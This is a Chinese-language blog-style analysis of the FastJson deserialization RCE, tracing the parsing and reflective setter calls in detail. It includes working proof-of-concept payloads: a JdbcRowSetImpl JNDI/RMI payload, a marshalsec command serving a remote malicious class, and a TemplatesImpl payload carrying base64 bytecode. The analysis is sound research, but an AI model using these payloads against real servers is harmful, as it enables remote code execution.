fastjson/FastJson反序列化过程拆解

概述

由于本篇是FastJson反序列化的第一篇,所以我尽量写的详细些,通过阅读本篇你将了解到:

  1. FastJson反序列化到RCE的原因/原理;
  2. 通过实例说明FastJson反序列化的三种方式、使用和区别
  3. 通过FastJson反序列化到RCE的详细代码跟踪,了解其详细过程;
  4. FastJson反序列化第一个漏洞剖析,<=12.2.24

FastJson反序列化原理

和Weblogic T3反序列化利用ReadObject()不同的是FastJson反序列化过程利用的是反射调用被反序列化类中实现的setXXX()和getXXX()方法。

如下在com.sun.rowset:JdbcRowSetImpl()中的setAutoCommit方法中,会远程连接RMI Server,如果我们反序列化JdbcRowSetImpl并触发setAutoCommit()方法(实际还需要setDataSourceName()方法),则会使得服务端产生一个RMI连接。

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

所以FastJson反序列化漏洞需要满足以下条件:

  1. 被反序列化类种存在set和get方法,并且能够满足RCE的需求;
  2. 发送的json数据能够被反序列化,并能够执行被反序列化类种的set、get方法。

FastJson中序列化和反序列化的方法

对于开发者而言,FastJson提供的序列化和反序列化方法使用很简单:

1
2
3
4
5
6
//序列化
String text = JSON.toJSONString(obj);
//反序列化
Object test = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
Object test = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
Object test = JSON.parseObject("{...}", TEST.class); //JSON文本解析成TEST.class类

以上三个不同的反序列化方式在解析JSON字符串的代码流程上会有所不同,本文不会分别对它们的代码流程进行跟踪,关于这三个方法的区别在参考2中写的非常详细,本文不再叙述。

上面是开发者视角的三个可以实现反序列化的方法,对于攻击者视角如果想要利用FastJson反序列化执行RCE,则需要能够控制反序列化的类以及上文提到的该类中的setXXX()和getXXX()方法。FastJson提供了一个@type参数,通过@type参数我们可以让FastJson反序列化我们指定的类,这为RCE提供了前提,如<=12.2.24使用的payload为:

1
2
3
4
5
6
//利用JDK原生模块,创建RMI连接,后续的原理和 Weblogic IIOP-RMI CVE-2020-2551相同
{
'@type': 'com.sun.rowset.JdbcRowSetImpl',
'dataSourceName': 'rmi://localhost:1099/Exploit',
'autoCommit': 'true'
}

调试过程

我们首先实现一个HTTP服务器,然后用fastjson库对POST的json数据进行解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
......
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
try {
ServerSocket ss=new ServerSocket(8888);
while(true){
Socket socket=ss.accept();
BufferedReader bd=new BufferedReader(new InputStreamReader(socket.getInputStream()));
//接受HTTP请求
String requestHeader;
int contentLength=0;
StringBuffer sb=new StringBuffer();
//获取POST body,并通过fastjson进行解析
if(contentLength>0){
for (int i = 0; i < contentLength; i++) {
sb.append((char)bd.read());
}
Student jsonObject = JSON.parseObject(String.valueOf(sb), Student.class);
System.out.println(jsonObject);
}
......
socket.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}

进入反序列化的过程

下文将详细跟踪Object test = JSON.parseObject("{...}");的反序列化过程。

首先会通过parse()方法对提交的json数据进行解析

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parse()中初始化了DefaultJSONParser,之后调用了DefaultJSONParserparse方法进行后续的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
//这里初始化了DefaultJSONParser
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
//之后调用了DefaultJSONParser的parse方法进行后续的操作
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

DefaultJSONParser中会初始化lexer,input为我们提交的json数据,由于我们提交的数据是由{开始的,所以经过if判断后,lexer.token被设置为12。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}

代码随后进入

1
Object value = parser.parse();

parse()中会根据lexer.token进入不同的解析流程

1
2
3
4
5
6
7
8
9
10
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
......
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
......
}
}

com.alibaba.fastjson.parser.DefaultJSONParser:parseObject中,将遍历传入的Json数据,并解析出@type字段的keyvalue,并调用derializer@type的值进行反序列化。这里代码比较长,只放关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
......
//解析出@type,此时key为"@type"
key = lexer.scanSymbol(this.symbolTable, '"');
//获取@type的值,此时ref为"com.sun.rowset.JdbcRowSetImpl"
ref = lexer.scanSymbol(this.symbolTable, '"');
//加载类,获取默认的加载器对类进行加载,此时clazz为经过加载的"com.sun.rowset.JdbcRowSetImpl"类
clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
//获取类的解析器
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
//反序列化
thisObj = deserializer.deserialze(this, clazz, fieldName);
......

在初始化解析器过程中,首先会尝试在deserializers中匹配type的类型,如果匹配到了就返回匹配的derializer,否则就判断是否是Class泛型的接口,如果是则调用getDeserializer((Class<?>) type, type)继续处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public ObjectDeserializer getDeserializer(Type type) {
//首先会尝试在`deserializers`中匹配`type`的类型,如果匹配到了就返回匹配的derializer
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return derializer;
} else if (type instanceof Class) {
//否则就判断是否是Class泛型的接口,如果是则调用getDeserializer((Class<?>) type, type)继续处理
return this.getDeserializer((Class)type, type);
} else if (type instanceof ParameterizedType) {
Type rawType = ((ParameterizedType)type).getRawType();
return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
} else {
return JavaObjectDeserializer.instance;
}
}

getDeserializer(Class<?> clazz, Type type)中,会继续获取derializers,这里传入的clazz和type都是我们通过@type指定的com.sun.rowset.JdbcRowSetImpl类,这里代码很长,最后会进入createJavaBeanDeserializer,创建一个新的derializer

1
2
3
4
5
6
7
public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
......
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
this.putDeserializer((Type)type, (ObjectDeserializer)derializer);
return (ObjectDeserializer)derializer;
......
}

在这里首先会根据类名和propertyNamingStrategy生成beanInfo,之后利用asm工厂类的createJavaBeanDeserializer生成处理类:

1
2
3
4
5
6
7
8
public ObjectDeserializer createJavaBeanDeserializer(Class<?> clazz, Type type) {
......
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
try {
return this.asmFactory.createJavaBeanDeserializer(this, beanInfo);
}
......
}

PS: 在build方法中将循环类中的每个方法,并识别是否以setget开头:

1
2
3
4
5
6
7
8
//com.alibaba.fastjson,util.JavaBeanInfo:build
if (methodName.startsWith("set")) {
......
}

if (methodName.startsWith("get")) {
......
}

随后通过ASM生成derializer(处理类):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public ObjectDeserializer createJavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) throws Exception {
Class<?> clazz = beanInfo.clazz;
if (clazz.isPrimitive()) {
throw new IllegalArgumentException("not support type :" + clazz.getName());
} else {
String className = "FastjsonASMDeserializer_" + this.seed.incrementAndGet() + "_" + clazz.getSimpleName();
String packageName = ASMDeserializerFactory.class.getPackage().getName();
String classNameType = packageName.replace('.', '/') + "/" + className;
String classNameFull = packageName + "." + className;
ClassWriter cw = new ClassWriter();
cw.visit(49, 33, classNameType, ASMUtils.type(JavaBeanDeserializer.class), (String[])null);
this._init(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 3));
this._createInstance(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 3));
this._deserialze(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 5));
this._deserialzeArrayMapping(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 4));
byte[] code = cw.toByteArray();
Class<?> exampleClass = this.defineClassPublic(classNameFull, code, 0, code.length);
Constructor<?> constructor = exampleClass.getConstructor(ParserConfig.class, JavaBeanInfo.class);
Object instance = constructor.newInstance(config, beanInfo);
//生成了处理类并返回
return (ObjectDeserializer)instance;
}
}

接下来进入重点,回到最开始的parseObject()方法中,我们已经创建了deserializer,接下来是通过deserializer对类进行反序列化。

1
2
3
4
//通过上述步骤,已经创建了deserializer,用于反序列化clazz
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
//对clazz进行反序列化,并结合传入的json数据的其他字段对类进行加载
thisObj = deserializer.deserialze(this, clazz, fieldName);

com.alibaba.fastjson.parser.deserializer:JavaBeanDeserializer:deserialze中将继续解析传入的Json数据,并根据json数据对指定的类进行加载,调用setvalue()方法改变类中的变量,这些动作通过下面的代码来实现,此时key为我们传入的json中的key,object为经过反序列化的JdbcRowSetImpl类的实例,typeJdbcRowSetImpl

1
2
//com.alibaba.fastjson.parser.deserializer:JavaBeanDeserializer:deserialze
boolean match = this.parseField(parser, key, object, type, fieldValues);

接下来会在com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer:parseField中继续解析并提取value字段,并调用setValue方法,进行变量的修改,关键代码如下。

1
2
3
//com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer:parseField
value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures);
this.setValue(object, value);

setValue方法中将通过反射的方式调用类中的方法。

1
2
//com.alibaba.fastjson.parser.deserializer.FieldDeserializer:setValue
method.invoke(object, value);

到这里为之我们已经详细描述了JSON数据解析到反射调用方法的过程,如果存在可被利用的类,那么我们可以将该类名以及需要的参数发送给服务端导致RCE。

看一下从收到Json数据到触发方法调用的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:91, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:865, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:355, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1312, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1278, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:64, Main (com.company)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
connect:634, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:91, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:865, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:355, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1312, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1278, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:64, Main (com.company)

<=12.2.24

环境准备:

  1. 使用marshalsec起一个RMI服务器
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#exp18 1099
  2. 写一个恶意类并编译
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    package com.company;

    import java.io.IOException;
    import java.util.Hashtable;
    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;

    public class exp18 implements ObjectFactory {
    public exp18() {
    }
    public static String exec(String var0) {
    try {
    Runtime.getRuntime().exec("open /Applications/Calculator.app");
    } catch (IOException var2) {
    var2.printStackTrace();
    }
    return "";
    }
    public static void main(String[] var0) {
    exec("123");
    }
    }
  3. 本地开启HTTP服务器,将编译过的恶意类放到web目录下,对应步骤一中的路径。

漏洞分析

反序列化流程在上文已经详述,这里看漏洞的几个关键点:

  1. 通过传递dataSourceName参数,触发反射调用setDataSourceName,将远程地址修改为rmi:127.0.0.1/exp
  2. 通过传递autoCommit参数,触发反射调用setAutoCommit,并执行connect函数
    1
    2
    3
    4
    5
    6
    7
    8
    public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
    this.conn.setAutoCommit(var1);
    } else {
    this.conn = this.connect();
    this.conn.setAutoCommit(var1);
    }
    }

connect函数中,我们看到了熟悉的函数lookup,说明这里是通过jndi的方式进行远程数据库的连接,而此时this.getDataSourceName已经被我们设置为rmi:127.0.0.1/exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

随后就是请求RMI,获取到http://127.0.0.1/#exp18,并通过com.sun.jndi.rmi.Registry.RegistryContext:decodeObject来从HTTP服务器上下载exp18,后续的流程与JNDI一致这里不再叙述。

PS:jdk 1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
......
//dk 1.8u191之后版本存在trustCodebaseURL的限制,这里会报错trustURLCodebase为false
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

<=12.2.24还有一个利用方式,即基于JDK1.7u21的gadgets,利用原理与上文相同,同样是利用反序列化走道了JDK原生的类,这里建议重点看一看ysoserial的JDK1.7u21这个payload,不过现在JDK1.7u21已经用的非常少了,关于这个gadget的详细分析见参考3,这里直接给出POC:

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

参考链接

  1. https://paper.seebug.org/994/#11-defaultjsonparser
  2. https://xz.aliyun.com/t/7027#toc-4
  3. http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/